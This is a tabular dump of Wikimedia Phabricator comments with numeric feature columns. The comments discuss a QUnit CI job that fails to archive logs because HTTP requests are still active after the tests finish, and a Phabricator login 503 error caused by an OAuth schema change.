So, if i interpret it correctly (and didn't missed anything), we should extend references test case to stub self.hide() and match the QUnit requirements. Can someone confirm or refute it? :)",,,1418983726,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0.75,0.5,0.0,0.5,1.25,2.5,0.75,0.25,0.0,0.25,1.0,1.75,0.0,0.25,0.75,3.5,0.0,5.25,8.75,0.5,1.0,0.5,0.0,0.0,2.25,0.0,0.75,1.0,0.5,0.0,0.0,5.25,0.75,1.75,1.25,0.0,0.25,1.25,0.25,0.0,0.5,0.0,0.5,0.25,0.0,0.0,0.0,0.0,0.5,14.5,0.25,0.5,1.25,0.5,0.0,0.25,0.0,0.0,0.5,0.0,0.25,1.0,0.0,0.0,0.0,0.0,0.0,6.25,2.25,9.0,1.25,2.75,10.5,0.0,0.25,0.0,0.0,4.0,0.0,0.75,0.0,5.5,8.75,3.75,0.25,0.5,0.0,5.5,0.0,2.25,2.0,0.0,0.0,0.0,0.0,1.5,3.719444444444444,0.6722222222222223,"I tried to figure out, whatSCREEN_NAME said.

What i did: I added a QUnit.done() callback on top of the test_Page.js (it should doesn't matter, in which test file it's added), which add a console.log with some test details and a timeline marker for Google chrome (console.timeStamp( 'QunitDone' );).

I run the test locally and looked at the timeline of chrome. There are a lot of things and somewhere near the end i had the QUnitDone event fired by a timer. So far, so good.

Now, i think that //can// be a/the problem: There are two timer events, which are fired //after// the QUnitDone event. Both comes from [[ URL | Panel.js on line 57 ]] which is a timeout to remove the visible class of the panel and emit the hide event.

The only modules, which extends Panel in some way i can remember is:
- Drawer: for which we have no tests, so i can't think, that this happens these events
- AbuseFilterPanel: same as Drawer, (unhappily) no tests for it
- WikiGrokDialog(B): For which we have tests ([[ URL | test_WikiGrokDialog.js ]] / [[ URL | test_WikiGrokDialogB.js ]]), but doesn't seem to be the problem, because Panel.hide is stubbed correctly.
- references drawer: extends Drawer, which extends Panel and there a[[ URL | re tests for it ]]

So i tested it again after i removed the complete test and run the same thing as described above. Without these test there isn't any fired events after the QUnitDone marker.

So, if i interpret it correctly (and didn't missed anything), we should extend references test case to stub self.hide() and match the QUnit requirements. Can someone confirm or refute it? :)"
391241,"QUnit job unable to collect logs, test still has active http requests writing to them","@krinkle I'm not seeing anything obvious so if you can find the time to take a look at our tests and see if there is something obvious, direction here would be appreciated

The thing that is strange is that this has only recently started happening, hence why I suspected  (maybe incorrectly) that something changed in Jenkins.
",,,1418948303,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0.0,5.0,0.0,2.0,2.0,5.0,3.0,0.0,0.0,3.0,3.0,2.0,0.0,2.0,2.0,5.0,0.0,14.0,11.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,8.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,6.0,8.0,8.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,2.0,0.0,0.0,0.0,6.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,4.246153846153846,0.8615384615384616,"SCREEN_NAME I'm not seeing anything obvious so if you can find the time to take a look at our tests and see if there is something obvious, direction here would be appreciated

The thing that is strange is that this has only recently started happening, hence why I suspected  (maybe incorrectly) that something changed in Jenkins.
"
391237,"QUnit job unable to collect logs, test still has active http requests writing to them",">>! In T78590#934443, @Jdlrobson wrote:
> @Krinkle this is not the same bug.
>  What does a log file running out of space have to do with testing locally?
> See https://integration.wikimedia.org/ci/job/mwext-MobileFrontend-qunit-mobile/8449/console for another example

Nobody said anything about running out of space. As pointed out by @hashar earlier, the problem is that Jenkins has been given the signal by your test suite that the test is done. At that point it starts collecting log files into a tar ball (which individual developers can download in case of failures to see exactly what MediaWiki was doing).

`tar` doesn't tolerate the files being archived changing at the same time. And since MediaWiki is still receiving http requests, because theres still activity after the test was ""done"", it still writes to the log, and the tar fails.",,,1418947865,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.5,0.0,2.0,1.0,1.5,0.5,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.5,4.5,11.0,1.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,1.0,6.0,1.0,1.5,1.5,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.5,1.0,0.5,0.0,0.5,0.0,0.0,14.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,6.0,5.0,7.5,2.5,1.5,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,4.5,0.0,1.5,0.0,2.0,0.0,1.5,0.5,0.0,3.5,0.5,0.0,0.0,4.129032258064516,0.7804071919619249,"QUOTE
QUOTE
QUOTE
QUOTE

Nobody said anything about running out of space. As pointed out bySCREEN_NAME earlier, the problem is that Jenkins has been given the signal by your test suite that the test is done. At that point it starts collecting log files into a tar ball (which individual developers can download in case of failures to see exactly what MediaWiki was doing).

CODE doesn't tolerate the files being archived changing at the same time. And since MediaWiki is still receiving http requests, because theres still activity after the test was ""done"", it still writes to the log, and the tar fails."
391235,"QUnit job unable to collect logs, test still has active http requests writing to them","(Running locally I'm seeing no ajax requests. I just verified that again.)
",,,1418947836,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.5555555555555554,0.8888888888888888,"(Running locally I'm seeing no ajax requests. I just verified that again.)
"
391232,"QUnit job unable to collect logs, test still has active http requests writing to them","(you'll see the tests pass but it is Archiving artifacts that fails)
",,,1418947706,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,"(you'll see the tests pass but it is Archiving artifacts that fails)
"
391231,"QUnit job unable to collect logs, test still has active http requests writing to them","@Krinkle this is not the same bug.
 What does a log file running out of space have to do with testing locally?
See https://integration.wikimedia.org/ci/job/mwext-MobileFrontend-qunit-mobile/8449/console for another example",,,1418947671,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.774193548387097,1.0,"SCREEN_NAME this is not the same bug.
 What does a log file running out of space have to do with testing locally?
See URL for another example"
391222,"QUnit job unable to collect logs, test still has active http requests writing to them",">>! In T78590#934361, @Jdlrobson wrote:
> This is frequently hitting us today. Cookie for whoever can fix it! :)

As said in T78590#850957, please investigate in MobileFrontend by running the tests locally and looking for outgoing http requests (e.g. in Chrome Dev Tools) on Special:JavaScriptTest. I suspect the MF functions called by your tests are firing off AJAX requests without providing a callback or promise (or it does, but the test ignores it). In that case it's the test that should wait for it. There's nothing I can do from the Jenkins side to change that.",,,1418946775,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,15.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,6.0,1.0,4.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,18.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,7.0,15.0,8.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,4.126315789473685,0.7263157894736842,"QUOTE
QUOTE

As said in T78590#850957, please investigate in MobileFrontend by running the tests locally and looking for outgoing http requests (e.g. in Chrome Dev Tools) on Special:JavaScriptTest. I suspect the MF functions called by your tests are firing off AJAX requests without providing a callback or promise (or it does, but the test ignores it). In that case it's the test that should wait for it. There's nothing I can do from the Jenkins side to change that."
391212,"QUnit job unable to collect logs, test still has active http requests writing to them",This is frequently hitting us today. Cookie for whoever can fix it! :),,,1418945845,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,3.8666666666666667,1.0,This is frequently hitting us today. Cookie for whoever can fix it! :)
343626,"QUnit job unable to collect logs, test still has active http requests writing to them",Also happening on https://gerrit.wikimedia.org/r/#/c/180653/ intermittently.,,,1418859960,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,5.5,1.0,Also happening on URL intermittently.
342974,"QUnit job unable to collect logs, test still has active http requests writing to them","Sounds like an issue with the code. Unit tests should mock anything they don't depend on, and wait for anything they do depend on. If there are animations, asynchronous workers, and ajax requests still running when the last QUnit test finishes, the test is flawed.

The QUnit testrunner actually throws an error if there are pending animations and ajax requests at the end of a test, so it sounds like maybe this ajax request is fired off asynchronously after the test is finished?

Have we seen this in other projects, or only MobileFrontend? That would help narrow down where the culprit is.",,,1418750763,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-29,True,0.0,1.0,0.0,1.5,0.5,4.5,0.5,0.0,0.0,1.5,1.0,0.5,0.0,1.0,1.5,1.0,0.0,6.5,10.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,12.0,1.0,1.5,0.0,0.5,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,4.5,5.5,2.5,2.5,9.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.5,10.0,2.0,1.5,0.0,0.0,2.5,0.0,1.5,2.0,0.0,1.5,0.0,0.0,0.0,4.221507890122735,0.7952951490356517,"Sounds like an issue with the code. Unit tests should mock anything they don't depend on, and wait for anything they do depend on. If there are animations, asynchronous workers, and ajax requests still running when the last QUnit test finishes, the test is flawed.

The QUnit testrunner actually throws an error if there are pending animations and ajax requests at the end of a test, so it sounds like maybe this ajax request is fired off asynchronously after the test is finished?

Have we seen this in other projects, or only MobileFrontend? That would help narrow down where the culprit is."
342973,"QUnit job unable to collect logs, test still has active http requests writing to them","Sounds like an issue with the code. Unit tests should mock anything they don't depend on, and wait for anything they do depend on. If there are animations, asynchronous workers, and ajax requests still running when the last QUnit test finishes, the test is flawed.

The QUnit testrunner actually throws an error if there are pending animations and ajax requests at the end of a test, so it sounds like maybe this ajax request is fired off asynchronously after the test is finished?

Has this been reproduced without MobileFrontend installed?",,,1418750726,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-29,True,0.0,1.0,0.0,3.0,0.5,4.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,5.5,10.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,1.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,11.5,1.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,5.0,6.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,2.5,2.0,0.0,0.0,2.0,0.0,0.5,2.5,0.0,1.5,0.0,0.0,0.0,4.409690799396682,0.8063725490196079,"Sounds like an issue with the code. Unit tests should mock anything they don't depend on, and wait for anything they do depend on. If there are animations, asynchronous workers, and ajax requests still running when the last QUnit test finishes, the test is flawed.

The QUnit testrunner actually throws an error if there are pending animations and ajax requests at the end of a test, so it sounds like maybe this ajax request is fired off asynchronously after the test is finished?

Has this been reproduced without MobileFrontend installed?"
342562,"QUnit job unable to collect logs, test still has active http requests writing to them","MediaWiki is configured to write debug log under /log/ which is writable by both www-data (for qunit jobs) and jenkins-slave (for PHPUnit in cli).

For one of the run that fails I can see two files:

```
 www-data www-data          mw-debug-www.log
 jenkins-slave jenkins-slave mw-debug-www.log.gz


Seems we have a race condition between an Apache thread that writes to the mw-debug-www.log while the Jenkins artifact publishers attempts to tar it.  That is a known tar error.  That goes as follow:

* test does an apache request
* qunit succeed
* Jenkins gzip the files under /log/
* the long apache request writes to mw-debug-www.log which create it
* Jenkins artifact publisher list the files under /log/ and tar them
* the long apache request writes to mw-debug-www.log while tar is busy processing the file
* tar complains that the file has been changed


The fix would be to have our qunit special page to wait for all Apache requests to have completed.

Will rephrase bug and unassign myself since I have not much JavaScript to figure it out :(
",,,1418678024,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-29,True,1.0,0.0,0.0,0.6666666666666666,0.3333333333333333,3.3333333333333335,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,2.0,0.3333333333333333,0.3333333333333333,10.0,0.0,2.6666666666666665,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,7.0,0.6666666666666666,1.0,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,16.666666666666668,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,5.333333333333333,2.3333333333333335,6.0,1.6666666666666667,1.3333333333333333,7.333333333333333,0.0,0.0,0.0,0.0,5.666666666666667,0.3333333333333333,1.0,0.0,3.6666666666666665,10.0,4.666666666666667,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,1.3333333333333333,1.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,4.09214865550482,0.7159436834094368,"MediaWiki is configured to write debug log under /log/ which is writable by both www-data (for qunit jobs) and jenkins-slave (for PHPUnit in cli).

For one of the run that fails I can see two files:

```
 www-data www-data          mw-debug-www.log
 jenkins-slave jenkins-slave mw-debug-www.log.gz


Seems we have a race condition between an Apache thread that writes to the mw-debug-www.log while the Jenkins artifact publishers attempts to tar it.  That is a known tar error.  That goes as follow:

* test does an apache request
* qunit succeed
* Jenkins gzip the files under /log/
* the long apache request writes to mw-debug-www.log which create it
* Jenkins artifact publisher list the files under /log/ and tar them
* the long apache request writes to mw-debug-www.log while tar is busy processing the file
* tar complains that the file has been changed


The fix would be to have our qunit special page to wait for all Apache requests to have completed.

Will rephrase bug and unassign myself since I have not much JavaScript to figure it out :(
"
78223,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"How to reproduce:

  # Log out of WM Phab and your SUL WM account.
  # Navigate to https://phabricator.wikimedia.org
  # Press the button ""Login or Register (MediaWiki)""

Result:
After about 15s, an error page with the following contents appears:
> WIKIMEDIA FOUNDATION
> Error
> Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
> If you report this error to the Wikimedia System Administrators, please include the details below.
> Request: POST http://phabricator.wikimedia.org/auth/login/mediawiki:mediawiki/, from 10.64.0.172 via cp1044 cp1044 ([10.64.0.172]:80), Varnish XID 1595403262
> Forwarded for: <redacted>, 10.64.0.172
> Error: 503, Service Unavailable at Thu, 11 Dec 2014 01:11:25 GMT


Expected: Request to log me in into MediaWiki.org",Unbreak Now!,100.0,1418260418,1418306054.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-ipghpufzfzadpm5ugglz,task_description,resolved,True,c3,1,False,False,True,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,13.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,32.0,1.0,3.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,1.0,0.0,3.0,13.0,18.0,0.0,3.0,0.0,3.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,3.5657894736842106,0.6842105263157895,"How to reproduce:

  # Log out of WM Phab and your SUL WM account.
  # Navigate to URL
  # Press the button ""Login or Register (MediaWiki)""

Result:
After about 15s, an error page with the following contents appears:
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


Expected: Request to log me in into MediaWiki.org"
342333,Attempt to login into Phabricator fails with a 503 Service Unavailable error,">>! In T78223#847848, @Mitar wrote:
> Was schema applied?

Yes.",,,1418651770,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.8333333333333334,"QUOTE
QUOTE

Yes."
342326,Attempt to login into Phabricator fails with a 503 Service Unavailable error,Was this now deployed or reverted back? Was schema applied?,,,1418649660,,PHID-USER-m2xiute3l4kwb26dyrp7,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.8333333333333334,Was this now deployed or reverted back? Was schema applied?
341021,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"The DDL in backend/schema/mysql/callback_is_prefix.sql has been applied to mediawiki.org schema, but nothing more.

Wondering why https://gerrit.wikimedia.org/r/#/c/153983/ only includes oarc_callback_is_prefix field in the patch, and not the base OAuth schema? Would new installs break too?",,,1418306368,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,13.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,9.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,4.782608695652174,0.8260869565217391,"The DDL in backend/schema/mysql/callback_is_prefix.sql has been applied to mediawiki.org schema, but nothing more.

Wondering why URL only includes oarc_callback_is_prefix field in the patch, and not the base OAuth schema? Would new installs break too?"
341018,Attempt to login into Phabricator fails with a 503 Service Unavailable error,@dzahn: I can confirm that it's fixed.,,,1418306035,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,SCREEN_NAME: I can confirm that it's fixed.
341016,Attempt to login into Phabricator fails with a 503 Service Unavailable error,also https://tools.wmflabs.org/oauth-hello-world/,,,1418305953,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,also URL
341015,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"> informed ops and our dba about the query error,
@Dzahn Reported this this morning in `#wikimedia-operations` but no one cared. So whom should I ping next time?",,,1418305943,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.95,QUOTESCREEN_NAME Reported this this morning in CODE but no one cared. So whom should I ping next time?
